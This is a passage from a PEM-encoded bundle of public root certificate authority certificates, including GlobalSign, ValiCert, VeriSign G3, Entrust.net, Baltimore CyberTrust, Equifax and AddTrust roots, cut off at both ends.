pO0M8RcPO/mn+SXXwc+EY/J8Y8+iR/LGWzOOZEAEaMGAuWQcRXfH2G71lSk8UOg0
13gfqLptQ5GVj0VXXn7F+8qkBOvqlzdUMG+7AUcyM83cV5tkaWH4mx0ciU9cZwID
AQABMA0GCSqGSIb3DQEBBQUAA4GBAFFNzb5cy5gZnBWyATl4Lk0PZ3BwmcYQWpSk
U01UbSuvDV1Ai2TT1+7eVmGSX6bEHRBhNtMsJzzoKQm5EWR0zLVznxxIqbxhAe7i
F6YM40AIOw7n60RzKprxaZLvcRTDOaxxp5EJb+RxBrO6WVcmeQD2+A2iMzAo1KpY
oJ2daZH9
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG
A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv
b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw
MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i
YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT
aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ
jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp
xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp
1Wrjsok6Vjk4bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdG
snUOhugZitVtbNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJ
U26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N8
9iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8E
BTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0B
AQUFAAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOz
yj1hTdNGCbM+w6DjY1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE
38NflNUVyRRBnMRddWQVDf9VMOyGj/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymP
AbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhHhm4qxFYxldBniYUr+WymXUad
DKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveCX4XSQRjbgbME
HMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIC5zCCAlACAQEwDQYJKoZIhvcNAQEFBQAwgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0
IFZhbGlkYXRpb24gTmV0d29yazEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAz
BgNVBAsTLFZhbGlDZXJ0IENsYXNzIDEgUG9saWN5IFZhbGlkYXRpb24gQXV0aG9y
aXR5MSEwHwYDVQQDExhodHRwOi8vd3d3LnZhbGljZXJ0LmNvbS8xIDAeBgkqhkiG
9w0BCQEWEWluZm9AdmFsaWNlcnQuY29tMB4XDTk5MDYyNTIyMjM0OFoXDTE5MDYy
NTIyMjM0OFowgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0IFZhbGlkYXRpb24gTmV0d29y
azEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAzBgNVBAsTLFZhbGlDZXJ0IENs
YXNzIDEgUG9saWN5IFZhbGlkYXRpb24gQXV0aG9yaXR5MSEwHwYDVQQDExhodHRw
Oi8vd3d3LnZhbGljZXJ0LmNvbS8xIDAeBgkqhkiG9w0BCQEWEWluZm9AdmFsaWNl
cnQuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDYWYJ6ibiWuqYvaG9Y
LqdUHAZu9OqNSLwxlBfw8068srg1knaw0KWlAdcAAxIiGQj4/xEjm84H9b9pGib+
TunRf50sQB1ZaG6m+FiwnRqP0z/x3BkGgagO4DrdyFNFCQbmD3DD+kCmDuJWBQ8Y
TfwggtFzVXSNdnKgHZ0dwN0/cQIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAFBoPUn0
LBwGlN+VYH+Wexf+T3GtZMjdd9LvWVXoP+iOBSoh8gfStadS/pyxtuJbdxdA6nLW
I8sogTLDAHkY7FkXicnGah5xyf23dKUlRWnFSKsZ4UWKJWsZ7uW7EvV/96aNUcPw
nXS3qT6gpf+2SQMT2iLM7XGCK5nPOrf1LXLI
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIC5zCCAlACAQEwDQYJKoZIhvcNAQEFBQAwgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0
IFZhbGlkYXRpb24gTmV0d29yazEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAz
BgNVBAsTLFZhbGlDZXJ0IENsYXNzIDIgUG9saWN5IFZhbGlkYXRpb24gQXV0aG9y
aXR5MSEwHwYDVQQDExhodHRwOi8vd3d3LnZhbGljZXJ0LmNvbS8xIDAeBgkqhkiG
9w0BCQEWEWluZm9AdmFsaWNlcnQuY29tMB4XDTk5MDYyNjAwMTk1NFoXDTE5MDYy
NjAwMTk1NFowgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0IFZhbGlkYXRpb24gTmV0d29y
azEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAzBgNVBAsTLFZhbGlDZXJ0IENs
YXNzIDIgUG9saWN5IFZhbGlkYXRpb24gQXV0aG9yaXR5MSEwHwYDVQQDExhodHRw
Oi8vd3d3LnZhbGljZXJ0LmNvbS8xIDAeBgkqhkiG9w0BCQEWEWluZm9AdmFsaWNl
cnQuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDOOnHK5avIWZJV16vY
dA757tn2VUdZZUcOBVXc65g2PFxTXdMwzzjsvUGJ7SVCCSRrCl6zfN1SLUzm1NZ9
WlmpZdRJEy0kTRxQb7XBhVQ7/nHk01xC+YDgkRoKWzk2Z/M/VXwbP7RfZHM047QS
v4dk+NoS/zcnwbNDu+97bi5p9wIDAQABMA0GCSqGSIb3DQEBBQUAA4GBADt/UG9v
UJSZSWI4OB9L+KXIPqeCgfYrx+jFzug6EILLGACOTb2oWH+heQC1u+mNr0HZDzTu
IYEZoDJJKPTEjlbVUjP9UNV+mWwD5MlM/Mtsq2azSiGM5bUMMj4QssxsodyamEwC
W/POuZ6lcg5Ktz885hZo+L7tdEy8W9ViH0Pd
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIC5zCCAlACAQEwDQYJKoZIhvcNAQEFBQAwgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0
IFZhbGlkYXRpb24gTmV0d29yazEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAz
BgNVBAsTLFZhbGlDZXJ0IENsYXNzIDMgUG9saWN5IFZhbGlkYXRpb24gQXV0aG9y
aXR5MSEwHwYDVQQDExhodHRwOi8vd3d3LnZhbGljZXJ0LmNvbS8xIDAeBgkqhkiG
9w0BCQEWEWluZm9AdmFsaWNlcnQuY29tMB4XDTk5MDYyNjAwMjIzM1oXDTE5MDYy
NjAwMjIzM1owgbsxJDAiBgNVBAcTG1ZhbGlDZXJ0IFZhbGlkYXRpb24gTmV0d29y
azEXMBUGA1UEChMOVmFsaUNlcnQsIEluYy4xNTAzBgNVBAsTLFZhbGlDZXJ0IENs
YXNzIDMgUG9saWN5IFZhbGlkYXRpb24gQXV0aG9yaXR5MSEwHwYDVQQDExhodHRw
Oi8vd3d3LnZhbGljZXJ0LmNvbS8xIDAeBgkqhkiG9w0BCQEWEWluZm9AdmFsaWNl
cnQuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDjmFGWHOjVsQaBalfD
cnWTq8+epvzzFlLWLU2fNUSoLgRNB0mKOCn1dzfnt6td3zZxFJmP3MKS8edgkpfs
2Ejcv8ECIMYkpChMMFp2bbFc893enhBxoYjHW5tBbcqwuI4V7q0zK89HBFx1cQqY
JJgpp0lZpd34t0NiYfPT4tBVPwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAFa7AliE
Zwgs3x/be0kz9dNnnfS0ChCzycUs4pJqcXgn8nCDQtM+z6lU9PHYkhaM0QTLS6vJ
n0WuPIqpsHEzXcjFV9+vqDWzf4mH6eglkrh/hXqu1rweN1gqZ8mRzyqBPu3GOd/A
PhmcGcwTTYJBtYze4D1gCCAPRX5ron+jjBXu
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEGjCCAwICEQCLW3VWhFSFCwDPrzhIzrGkMA0GCSqGSIb3DQEBBQUAMIHKMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZl
cmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWdu
LCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlT
aWduIENsYXNzIDEgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3Jp
dHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQswCQYD
VQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT
aWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJ
bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWdu
IENsYXNzIDEgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg
LSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN2E1Lm0+afY8wR4
nN493GwTFtl63SRRZsDHJlkNrAYIwpTRMx/wgzUfbhvI3qpuFU5UJ+/EbRrsC+MO
8ESlV8dAWB6jRx9x7GD2bZTIGDnt/kIYVt/kTEkQeE4BdjVjEjbdZrwBBDajVWjV
ojYJrKshJlQGrT/KFOCsyq0GHZXi+J3x4GD/wn91K0zM2v6HmSHquv4+VNfSWXjb
PG7PoBMAGrgnoeS+Z5bKoMWznN3JdZ7rMJpfo83ZrngZPyPpXNspva1VyBtUjGP2
6KbqxzcSXKMpHgLZ2x87tNcPVkeBFQRKr4Mn0cVYiMHd9qqnoxjaaKptEVHhv2Vr
n5Z20T0CAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAq2aN17O6x5q25lXQBfGfMY1a
qtmqRiYPce2lrVNWYgFHKkTp/j90CxObufRNG7LRX7K20ohcs5/Ny9Sn2WCVhDr4
wTcdYcrnsMXlkdpUpqwxga6X3s0IrLjAl4B/bnKk52kTlWUfxJM8/XmPBNQ+T+r3
ns7NZ3xPZQL/kYVUc8f/NveGLezQXk//EZ9yBta4GvFMDSZl4kSAHsef493oCtrs
pSCAaWihT37ha88HQfqDjrw43bAuEbFrskLMmrz5SCJ5ShkPshw+IHTZasO+8ih4
E1Z5T21Q6huwtVexN2ZYI/PcD98Kh8TvhgXVOBRgmaNL3gaWcSzy27YfpO8/7g==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEGTCCAwECEGFwy0mMX5hFKeewptlQW3owDQYJKoZIhvcNAQEFBQAwgcoxCzAJ
BgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVy
aVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24s
IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNp
Z24gQ2xhc3MgMiBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0
eSAtIEczMB4XDTk5MTAwMTAwMDAwMFoXDTM2MDcxNjIzNTk1OVowgcoxCzAJBgNV
BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp
Z24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIElu
Yy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24g
Q2xhc3MgMiBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAt
IEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArwoNwtUs22e5LeWU
J92lvuCwTY+zYVY81nzD9M0+hsuiiOLh2KRpxbXiv8GmR1BeRjmL1Za6tW8UvxDO
JxOeBUebMXoT2B/Z0wI3i60sR/COgQanDTAM6/c8DyAd3HJG7qUCyFvDyVZpTMUY
wZF7C9UTAJu878NIPkZgIIUq1ZC2zYugzDLdt/1AVbJQHFauzI13TccgTacxdu9o
koqQHgiBVrKtaaNS0MscxCM9H5n+TOgWY47GCI72MfbS+uV23bUckqNJzc0BzWjN
qWm6o+sdDZykIKbBoMXRRkwXbdKsZj+WjOCE1Db/IlnF+RFgqF8EffIa9iVCYQ/E
Srg+iQIDAQABMA0GCSqGSIb3DQEBBQUAA4IBAQA0JhU8wI1NQ0kdvekhktdmnLfe
xbjQ5F1fdiLAJvmEOjr5jLX77GDx6M4EsMjdpwOPMPOY36TmpDHf0xwLRtxyID+u
7gU8pDM/CzmscHhzS5kr3zDCVLCoO1Wh/hYozUK9dG6A2ydEp85EXdQbkJgNHkKU
sQAsBNB0owIFImNjzYO1+8FtYmtpdf1dcEG59b98377BMnMiIYtYgXsVkXq642RI
sH/7NiXaldDxJBQX3RiAa0YjOVT1jmIJBB2UkKab5iXiQkWquJCtvgiPqQtCGJTP
cjnhsUPgKM+351psE2tJs//jGHyJizNdrDPXp/naOlXJWBD5qu9ats9LS98q
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEGjCCAwICEQCbfgZJoz5iudXukEhxKe9XMA0GCSqGSIb3DQEBBQUAMIHKMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZl
cmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWdu
LCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlT
aWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3Jp
dHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQswCQYD
VQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT
aWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJ
bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWdu
IENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg
LSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMu6nFL8eB8aHm8b
N3O9+MlrlBIwT/A2R/XQkQr1F8ilYcEWQE37imGQ5XYgwREGfassbqb1EUGO+i2t
KmFZpGcmTNDovFJbcCAEWNF6yaRpvIMXZK0Fi7zQWM6NjPXr8EJJC52XJ2cybuGu
kxUccLwgTS8Y3pKI6GyFVxEa6X7jJhFUokWWVYPKMIno3Nij7SqAP395ZVc+FSBm
CC+Vk7+qRy+oRpfwEuL+wgorUeZ25rdGt+INpsyow0xZVYnm6FNcHOqd8GIWC6fJ
Xwzw3sJ2zq/3avL6QaaiMxTJ5Xpj055iN9WFZZ4O5lMkdBteHRJTW8cs54NJOxWu
imi5V5cCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAERSWwauSCPc/L8my/uRan2Te
2yFPhpk0djZX3dAVL8WtfxUfN2JzPtTnX84XA9s1+ivbrmAJXx5fj267Cz3qWhMe
DGBvtcC1IyIuBwvLqXTLR7sdwdela8wv0kL9Sd2nic9TutoAWii/gt/4uhMdUIaC
/Y4wjylGsB49Ndo4YhYYSq3mtlFs3q9i6wHQHiT+eo8SGhJouPtmmRQURVyu565p
F4ErWjfJXir0xuKhXFSbplQAz/DxwceYMBo7Nhbbo27q/a2ywtrvAkcTisDxszGt
TxzhT5yvDwyd93gN2PQ1VoDat20Xj50egWTh/sVFuq1ruQp6Tk9LhO5L8X3dEQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEGjCCAwICEQDsoKeLbnVqAc/EfMwvlF7XMA0GCSqGSIb3DQEBBQUAMIHKMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZl
cmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWdu
LCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlT
aWduIENsYXNzIDQgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3Jp
dHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQswCQYD
VQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT
aWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJ
bmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWdu
IENsYXNzIDQgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg
LSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK3LpRFpxlmr8Y+1
GQ9Wzsy1HyDkniYlS+BzZYlZ3tCD5PUPtbut8XzoIfzk6AzufEUiGXaStBO3IFsJ
+mGuqPKljYXCKtbeZjbSmwL0qJJgfJxptI8kHtCGUvYynEFYHiK9zUVilQhu0Gbd
U6LM8BDcVHOLBKFGMzNcF0C5nk3T875Vg+ixiY5afJqWIpA7iCXy0lOIAgwLePLm
NxdLMEYH5IBtptiWLugs+BGzOA1mppvqySNb247i8xOOGlktqgLw7KSHZtzBP/XY
ufTsgsbSPZUd5cBPhMnZo0QoBmrXRazwa2rvTl/4EYIeOGM0ZlDUPpNz+jDDZq3/
ky2X7wMCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAj/ola09b5KROJ1WrIhVZPMq1
CtRK26vdoV9TxaBXOcLORyu+OshWv8LZJxA6sQU8wHcxuzrTBXttmhwwjIDLk5Mq
g6sFUYICABFna/OIYUdfA5PVWw3g8dShMjWFsjrbsIKr0csKvE+MW8VLADsfKoKm
fjaF3H48ZwC15DtS4KjrXRX5xm3wrR0OhbepmnMUWluPQSjA1egtTaRezarZ7c7c
2NU8Qh0XwRJdRTjDOPP8hS6DRkiy1yBfkjaP53kPmF6Z6PDQpLv1U70qzlmwr25/
bLvSHgCwIe34QWKCudiyxLtGUPMxxY8BqHTr9Xgn2uf3ZkPznoM+IKrDNWCRzg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIE2DCCBEGgAwIBAgIEN0rSQzANBgkqhkiG9w0BAQUFADCBwzELMAkGA1UEBhMC
VVMxFDASBgNVBAoTC0VudHJ1c3QubmV0MTswOQYDVQQLEzJ3d3cuZW50cnVzdC5u
ZXQvQ1BTIGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxpYWIuKTElMCMGA1UECxMc
KGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDE6MDgGA1UEAxMxRW50cnVzdC5u
ZXQgU2VjdXJlIFNlcnZlciBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05OTA1
MjUxNjA5NDBaFw0xOTA1MjUxNjM5NDBaMIHDMQswCQYDVQQGEwJVUzEUMBIGA1UE
ChMLRW50cnVzdC5uZXQxOzA5BgNVBAsTMnd3dy5lbnRydXN0Lm5ldC9DUFMgaW5j
b3JwLiBieSByZWYuIChsaW1pdHMgbGlhYi4pMSUwIwYDVQQLExwoYykgMTk5OSBF
bnRydXN0Lm5ldCBMaW1pdGVkMTowOAYDVQQDEzFFbnRydXN0Lm5ldCBTZWN1cmUg
U2VydmVyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGdMA0GCSqGSIb3DQEBAQUA
A4GLADCBhwKBgQDNKIM0VBuJ8w+vN5Ex/68xYMmo6LIQaO2f55M28Qpku0f1BBc/
I0dNxScZgSYMVHINiC3ZH5oSn7yzcdOAGT9HZnuMNSjSuQrfJNqc1lB5gXpa0zf3
wkrYKZImZNHkmGw6AIr1NJtl+O3jEP/9uElY3KDegjlrgbEWGWG5VLbmQwIBA6OC
AdcwggHTMBEGCWCGSAGG+EIBAQQEAwIABzCCARkGA1UdHwSCARAwggEMMIHeoIHb
oIHYpIHVMIHSMQswCQYDVQQGEwJVUzEUMBIGA1UEChMLRW50cnVzdC5uZXQxOzA5
BgNVBAsTMnd3dy5lbnRydXN0Lm5ldC9DUFMgaW5jb3JwLiBieSByZWYuIChsaW1p
dHMgbGlhYi4pMSUwIwYDVQQLExwoYykgMTk5OSBFbnRydXN0Lm5ldCBMaW1pdGVk
MTowOAYDVQQDEzFFbnRydXN0Lm5ldCBTZWN1cmUgU2VydmVyIENlcnRpZmljYXRp
b24gQXV0aG9yaXR5MQ0wCwYDVQQDEwRDUkwxMCmgJ6AlhiNodHRwOi8vd3d3LmVu
dHJ1c3QubmV0L0NSTC9uZXQxLmNybDArBgNVHRAEJDAigA8xOTk5MDUyNTE2MDk0
MFqBDzIwMTkwNTI1MTYwOTQwWjALBgNVHQ8EBAMCAQYwHwYDVR0jBBgwFoAU8Bdi
E1U9s/8KAGv7UISX8+1i0BowHQYDVR0OBBYEFPAXYhNVPbP/CgBr+1CEl/PtYtAa
MAwGA1UdEwQFMAMBAf8wGQYJKoZIhvZ9B0EABAwwChsEVjQuMAMCBJAwDQYJKoZI
hvcNAQEFBQADgYEAkNwwAvpkdMKnCqV8IY00F6j7Rw7/JXyNEwr75Ji174z4xRAN
95K+8cPV1ZVqBLssziY2ZcgxxufuP+NXdYR6Ee9GTxj005i7qIcyunL2POI9n9cd
2cNgQ4xYDiKWL2KjLB+6rQXvqzJ4h6BUcxm1XAX5Uj5tLUUL9wqT6u0G+bI=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJ
RTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYD
VQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoX
DTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9y
ZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVy
VHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKMEuyKr
mD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjr
IZ3AQSsBUnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeK
mpYcqWe4PwzV9/lSEy/CG9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSu
XmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9XbIGevOF6uvUA65ehD5f/xXtabz5OTZy
dc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjprl3RjM71oGDHweI12v/ye
jl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoIVDaGezq1
BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3
DQEBBQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT92
9hkTI7gQCvlYpNRhcL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3Wgx
jkzSswF07r51XgdIGn9w/xZchMB5hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0
Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsaY71k5h+3zvDyny67G7fyUIhz
ksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9HRCwBXbsdtTLS
R9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICkDCCAfmgAwIBAgIBATANBgkqhkiG9w0BAQQFADBaMQswCQYDVQQGEwJVUzEc
MBoGA1UEChMTRXF1aWZheCBTZWN1cmUgSW5jLjEtMCsGA1UEAxMkRXF1aWZheCBT
ZWN1cmUgR2xvYmFsIGVCdXNpbmVzcyBDQS0xMB4XDTk5MDYyMTA0MDAwMFoXDTIw
MDYyMTA0MDAwMFowWjELMAkGA1UEBhMCVVMxHDAaBgNVBAoTE0VxdWlmYXggU2Vj
dXJlIEluYy4xLTArBgNVBAMTJEVxdWlmYXggU2VjdXJlIEdsb2JhbCBlQnVzaW5l
c3MgQ0EtMTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAuucXkAJlsTRVPEnC
UdXfp9E3j9HngXNBUmCbnaEXJnitx7HoJpQytd4zjTov2/KaelpzmKNc6fuKcxtc
58O/gGzNqfTWK8D3+ZmqY6KxRwIP1ORROhI8bIpaVIRw28HFkM9yRcuoWcDNM50/
o5brhTMhHD4ePmBudpxnhcXIw2ECAwEAAaNmMGQwEQYJYIZIAYb4QgEBBAQDAgAH
MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUvqigdHJQa0S3ySPY+6j/s1dr
aGwwHQYDVR0OBBYEFL6ooHRyUGtEt8kj2Puo/7NXa2hsMA0GCSqGSIb3DQEBBAUA
A4GBADDiAVGqx+pf2rnQZQ8w1j7aDRRJbpGTJxQx78T3LUX47Me/okENI7SS+RkA
Z70Br83gcfxaz2TE4JaY0KNA4gGK7ycH8WUBikQtBmV1UsCGECAhX2xrD2yuCRyv
8qIYNMR1pHMc8Y3c7635s3a0kr/clRAevsvIO1qEYBlWlKlV
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICgjCCAeugAwIBAgIBBDANBgkqhkiG9w0BAQQFADBTMQswCQYDVQQGEwJVUzEc
MBoGA1UEChMTRXF1aWZheCBTZWN1cmUgSW5jLjEmMCQGA1UEAxMdRXF1aWZheCBT
ZWN1cmUgZUJ1c2luZXNzIENBLTEwHhcNOTkwNjIxMDQwMDAwWhcNMjAwNjIxMDQw
MDAwWjBTMQswCQYDVQQGEwJVUzEcMBoGA1UEChMTRXF1aWZheCBTZWN1cmUgSW5j
LjEmMCQGA1UEAxMdRXF1aWZheCBTZWN1cmUgZUJ1c2luZXNzIENBLTEwgZ8wDQYJ
KoZIhvcNAQEBBQADgY0AMIGJAoGBAM4vGbwXt3fek6lfWg0XTzQaDJj0ItlZ1MRo
RvC0NcWFAyDGr0WlIVFFQesWWDYyb+JQYmT5/VGcqiTZ9J2DKocKIdMSODRsjQBu
WqDZQu4aIZX5UkxVWsUPOE9G+m34LjXWHXzr4vCwdYDIqROsvojvOm6rXyo4YgKw
Env+j6YDAgMBAAGjZjBkMBEGCWCGSAGG+EIBAQQEAwIABzAPBgNVHRMBAf8EBTAD
AQH/MB8GA1UdIwQYMBaAFEp4MlIR21kWNl7fwRQ2QGpHfEyhMB0GA1UdDgQWBBRK
eDJSEdtZFjZe38EUNkBqR3xMoTANBgkqhkiG9w0BAQQFAAOBgQB1W6ibAxHm6VZM
zfmpTMANmvPMZWnmJXbMWbfWVMMdzZmsGd20hdXgPfxiIKeES1hl8eL5lSE/9dR+
WB5Hh1Q+WKG1tfgq73HnvMP2sUlG4tega+VWeponmHxGYhTnyfxuAxJ5gDgdSIKN
/Bf+KpYrtWKmpj29f5JZzVoqgrI3eQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEGDCCAwCgAwIBAgIBATANBgkqhkiG9w0BAQUFADBlMQswCQYDVQQGEwJTRTEU
MBIGA1UEChMLQWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3
b3JrMSEwHwYDVQQDExhBZGRUcnVzdCBDbGFzcyAxIENBIFJvb3QwHhcNMDAwNTMw
